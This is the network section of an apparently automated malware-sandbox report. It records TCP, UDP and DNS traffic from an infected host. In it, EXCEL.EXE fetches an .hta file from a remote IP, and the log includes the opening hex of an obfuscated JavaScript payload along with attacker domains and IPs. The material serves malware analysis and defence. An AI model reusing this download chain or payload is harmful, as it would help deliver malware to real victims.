Nov 20, 2024 07:57:51.543617964 CET	49224	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:51.545281887 CET	49224	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:51.550121069 CET	80	49224	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:51.550184965 CET	49224	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:51.555028915 CET	80	49224	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:52.414423943 CET	80	49224	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:52.414485931 CET	80	49224	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:52.414699078 CET	49224	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:52.414699078 CET	49224	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:52.419599056 CET	80	49224	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:52.559758902 CET	49225	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:52.564730883 CET	80	49225	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:52.564850092 CET	49225	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:52.566518068 CET	49225	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:52.571398973 CET	80	49225	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:52.571474075 CET	49225	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:52.576448917 CET	80	49225	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:53.412801027 CET	80	49225	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:53.412877083 CET	80	49225	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:53.412939072 CET	49225	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:53.412986994 CET	49225	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:53.417983055 CET	80	49225	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:53.553678989 CET	49226	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:53.558686972 CET	80	49226	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:53.558801889 CET	49226	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:53.560519934 CET	49226	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:53.565388918 CET	80	49226	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:53.565464020 CET	49226	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:53.570380926 CET	80	49226	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:54.297231913 CET	80	49226	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:54.297260046 CET	80	49226	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:54.297504902 CET	49226	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:54.297504902 CET	49226	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:54.302370071 CET	80	49226	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:54.446928024 CET	49227	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:54.451946020 CET	80	49227	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:54.452079058 CET	49227	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:54.453720093 CET	49227	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:54.458606005 CET	80	49227	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:54.459147930 CET	49227	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:54.464092016 CET	80	49227	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:55.163341045 CET	80	49227	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:55.163491011 CET	80	49227	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:55.163738966 CET	49227	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:55.163969040 CET	49227	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:55.168792963 CET	80	49227	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:55.304810047 CET	49228	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:55.309830904 CET	80	49228	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:55.309921026 CET	49228	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:55.311486006 CET	49228	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:55.316337109 CET	80	49228	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:55.316399097 CET	49228	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:55.321259022 CET	80	49228	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:56.037281036 CET	80	49228	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:56.037415981 CET	80	49228	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:56.037599087 CET	49228	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:56.037599087 CET	49228	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:56.042606115 CET	80	49228	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:56.180123091 CET	49229	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:56.185132980 CET	80	49229	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:56.185201883 CET	49229	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:56.186849117 CET	49229	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:56.191732883 CET	80	49229	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:56.191792965 CET	49229	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:56.196638107 CET	80	49229	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:56.912216902 CET	80	49229	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:56.912318945 CET	49229	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:56.912734985 CET	80	49229	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:56.912786961 CET	49229	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:56.917175055 CET	80	49229	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:57.045027018 CET	49230	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:57.050061941 CET	80	49230	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:57.050148010 CET	49230	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:57.051752090 CET	49230	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:57.056822062 CET	80	49230	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:57.056886911 CET	49230	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:57.061942101 CET	80	49230	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:57.913125992 CET	80	49230	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:57.913162947 CET	80	49230	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:57.913305044 CET	49230	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:57.913352966 CET	49230	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:57.919025898 CET	80	49230	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:58.051259995 CET	49231	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:58.056250095 CET	80	49231	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:58.056476116 CET	49231	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:58.058877945 CET	49231	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:58.063740015 CET	80	49231	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:58.063832045 CET	49231	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:58.069585085 CET	80	49231	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:58.906354904 CET	80	49231	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:58.907004118 CET	80	49231	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:58.907092094 CET	49231	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:58.918458939 CET	49231	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:58.925815105 CET	80	49231	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:59.301301003 CET	49232	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:59.306411982 CET	80	49232	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:59.306633949 CET	49232	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:59.309000969 CET	49232	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:59.314918041 CET	80	49232	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:59.315018892 CET	49232	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:59.320920944 CET	80	49232	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:00.178472996 CET	80	49232	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:00.178522110 CET	80	49232	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:00.178852081 CET	49232	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:00.178852081 CET	49232	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:00.184000015 CET	80	49232	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:00.392573118 CET	49233	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:00.397557974 CET	80	49233	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:00.397664070 CET	49233	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:00.401304960 CET	49233	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:00.406255007 CET	80	49233	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:00.406323910 CET	49233	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:00.411164999 CET	80	49233	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:01.249268055 CET	80	49233	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:01.249408960 CET	49233	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:01.250149012 CET	80	49233	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:01.250323057 CET	49233	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:01.254920006 CET	80	49233	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:01.390955925 CET	49234	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:01.395924091 CET	80	49234	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:01.396099091 CET	49234	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:01.397597075 CET	49234	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:01.402462006 CET	80	49234	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:01.402549982 CET	49234	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:01.407617092 CET	80	49234	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:02.252270937 CET	80	49234	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:02.252424955 CET	80	49234	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:02.252445936 CET	49234	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:02.252480030 CET	49234	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:02.257306099 CET	80	49234	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:02.399182081 CET	49235	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:02.404226065 CET	80	49235	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:02.404335976 CET	49235	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:02.405973911 CET	49235	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:02.410881996 CET	80	49235	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:02.410938978 CET	49235	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:02.415743113 CET	80	49235	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:03.142828941 CET	80	49235	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:03.143017054 CET	80	49235	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:03.143132925 CET	49235	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:03.143132925 CET	49235	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:03.147969007 CET	80	49235	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:03.269989967 CET	49236	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:03.275120020 CET	80	49236	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:03.275218964 CET	49236	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:03.276879072 CET	49236	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:03.281763077 CET	80	49236	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:03.281827927 CET	49236	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:03.286669970 CET	80	49236	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:04.012312889 CET	80	49236	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:04.012398958 CET	80	49236	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:04.012582064 CET	49236	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:04.012582064 CET	49236	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:04.017515898 CET	80	49236	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:04.141715050 CET	49237	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:04.146780014 CET	80	49237	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:04.146848917 CET	49237	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:04.148475885 CET	49237	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:04.153599024 CET	80	49237	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:04.153650999 CET	49237	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:04.158505917 CET	80	49237	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:05.015336037 CET	80	49237	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:05.015654087 CET	49237	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:05.015827894 CET	80	49237	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:05.015867949 CET	49237	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:05.020538092 CET	80	49237	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:05.158478022 CET	49238	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:05.163924932 CET	80	49238	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:05.164001942 CET	49238	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:05.165608883 CET	49238	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:05.170644999 CET	80	49238	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:05.170720100 CET	49238	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:05.175673962 CET	80	49238	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:05.888010025 CET	80	49238	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:05.888117075 CET	80	49238	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:05.888261080 CET	49238	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:05.888427019 CET	49238	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:05.893320084 CET	80	49238	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:06.029975891 CET	49239	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:06.035279989 CET	80	49239	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:06.035362959 CET	49239	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:06.037022114 CET	49239	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:06.041963100 CET	80	49239	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:06.042036057 CET	49239	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:06.047008038 CET	80	49239	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:06.878705025 CET	80	49239	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:06.878837109 CET	49239	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:06.878928900 CET	80	49239	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:06.878984928 CET	49239	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:06.884042978 CET	80	49239	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:07.020375967 CET	49240	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:07.025450945 CET	80	49240	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:07.025538921 CET	49240	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:07.027129889 CET	49240	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:07.032279015 CET	80	49240	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:07.032370090 CET	49240	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:07.037302017 CET	80	49240	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:07.903635025 CET	80	49240	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:07.903692007 CET	80	49240	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:07.903784990 CET	49240	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:07.903820992 CET	49240	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:07.913734913 CET	80	49240	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:08.053921938 CET	49241	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:08.059031963 CET	80	49241	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:08.059108973 CET	49241	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:08.073318958 CET	49241	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:08.079600096 CET	80	49241	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:08.079653025 CET	49241	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:08.084486008 CET	80	49241	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:08.914391994 CET	80	49241	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:08.914417982 CET	80	49241	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:08.914515018 CET	49241	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:08.914552927 CET	49241	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:08.919532061 CET	80	49241	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:09.063486099 CET	49242	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:09.069010973 CET	80	49242	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:09.069102049 CET	49242	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:09.070729971 CET	49242	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:09.075655937 CET	80	49242	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:09.075720072 CET	49242	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:09.080656052 CET	80	49242	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:09.790751934 CET	80	49242	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:09.790944099 CET	49242	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:09.791009903 CET	80	49242	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:09.791059017 CET	49242	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:09.795871019 CET	80	49242	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:09.939985037 CET	49243	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:09.946429968 CET	80	49243	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:09.946500063 CET	49243	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:09.948055029 CET	49243	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:09.961137056 CET	80	49243	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:09.961206913 CET	49243	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:09.967533112 CET	80	49243	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:10.690216064 CET	80	49243	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:10.690342903 CET	49243	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:10.690473080 CET	80	49243	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:10.690649033 CET	49243	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:10.695527077 CET	80	49243	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:10.829443932 CET	49244	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:10.834743023 CET	80	49244	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:10.834861994 CET	49244	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:10.836560011 CET	49244	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:10.842076063 CET	80	49244	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:10.842150927 CET	49244	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:10.846997976 CET	80	49244	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:11.686970949 CET	80	49244	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:11.687159061 CET	80	49244	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:11.687263966 CET	49244	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:11.687264919 CET	49244	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:11.692159891 CET	80	49244	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:11.836878061 CET	49245	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:11.841885090 CET	80	49245	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:11.841970921 CET	49245	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:11.843614101 CET	49245	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:11.848469019 CET	80	49245	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:11.848536968 CET	49245	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:11.853900909 CET	80	49245	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:12.561392069 CET	80	49245	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:12.561451912 CET	80	49245	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:12.561532974 CET	49245	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:12.561532974 CET	49245	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:12.566541910 CET	80	49245	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:12.716434002 CET	49246	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:12.721364021 CET	80	49246	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:12.721434116 CET	49246	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:12.733412027 CET	49246	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:12.738281012 CET	80	49246	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:12.738338947 CET	49246	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:12.743275881 CET	80	49246	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:13.441821098 CET	80	49246	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:13.441886902 CET	80	49246	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:13.441956043 CET	49246	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:13.441956043 CET	49246	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:13.446885109 CET	80	49246	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:13.581747055 CET	49247	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:13.588251114 CET	80	49247	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:13.588423014 CET	49247	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:13.590063095 CET	49247	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:13.595061064 CET	80	49247	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:13.595288038 CET	49247	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:13.600413084 CET	80	49247	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:14.312865973 CET	80	49247	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:14.313093901 CET	80	49247	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:14.313214064 CET	49247	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:14.313215017 CET	49247	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:14.318123102 CET	80	49247	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:14.436793089 CET	49248	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:14.442003012 CET	80	49248	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:14.442079067 CET	49248	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:14.443617105 CET	49248	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:14.448815107 CET	80	49248	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:14.448889017 CET	49248	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:14.454035044 CET	80	49248	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:15.160309076 CET	80	49248	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:15.160454035 CET	49248	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:15.160870075 CET	80	49248	94.156.177.41	192.168.2.22
Nov 20, 2024 07:58:15.160943985 CET	49248	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:58:15.165410995 CET	80	49248	94.156.177.41	192.168.2.22

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 20, 2024 07:56:31.405399084 CET	54562	53	192.168.2.22	8.8.8.8
Nov 20, 2024 07:56:31.415816069 CET	53	54562	8.8.8.8	192.168.2.22
Nov 20, 2024 07:56:34.360862017 CET	52917	53	192.168.2.22	8.8.8.8
Nov 20, 2024 07:56:34.384808064 CET	53	52917	8.8.8.8	192.168.2.22
Nov 20, 2024 07:57:08.725164890 CET	62751	53	192.168.2.22	8.8.8.8
Nov 20, 2024 07:57:08.743362904 CET	53	62751	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 20, 2024 07:56:31.405399084 CET	192.168.2.22	8.8.8.8	0xa150	Standard query (0)	provit.uk	A (IP address)	IN (0x0001)	false
Nov 20, 2024 07:56:34.360862017 CET	192.168.2.22	8.8.8.8	0x4ba6	Standard query (0)	provit.uk	A (IP address)	IN (0x0001)	false
Nov 20, 2024 07:57:08.725164890 CET	192.168.2.22	8.8.8.8	0xcc3e	Standard query (0)	provit.uk	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Nov 20, 2024 07:56:31.415816069 CET	8.8.8.8	192.168.2.22	0xa150	No error (0)	provit.uk	198.244.140.41	A (IP address)	IN (0x0001)	false
Nov 20, 2024 07:56:34.384808064 CET	8.8.8.8	192.168.2.22	0x4ba6	No error (0)	provit.uk	198.244.140.41	A (IP address)	IN (0x0001)	false
Nov 20, 2024 07:57:08.743362904 CET	8.8.8.8	192.168.2.22	0xcc3e	No error (0)	provit.uk	198.244.140.41	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

provit.uk

192.3.243.136

94.156.177.41

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49164	192.3.243.136	80	3192	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:56:32.373878956 CET	397	OUT	GET /xampp/swm/sw/greetingwithgreatthignsgivenbackwithentireprocessgivenmeback.hta HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 192.3.243.136 Connection: Keep-Alive
Nov 20, 2024 07:56:32.962903976 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:56:32 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Wed, 20 Nov 2024 01:22:20 GMT ETag: "2c850-6274dfb369376" Accept-Ranges: bytes Content-Length: 182352 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/hta Data Raw: 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 4a 61 76 61 53 63 72 69 70 74 3e 6d 3d 27 25 33 43 73 63 72 69 70 74 25 33 45 25 30 41 25 33 43 25 32 31 2d 2d 25 30 41 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 25 32 38 75 6e 65 73 63 61 70 65 25 32 38 25 32 32 25 32 35 33 43 73 63 72 69 70 74 25 32 35 33 45 25 32 35 30 41 25 32 35 33 43 25 32 35 32 31 2d 2d 25 32 35 30 41 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 25 32 35 32 38 75 6e 65 73 63 61 70 65 25 32 35 32 38 25 32 35 32 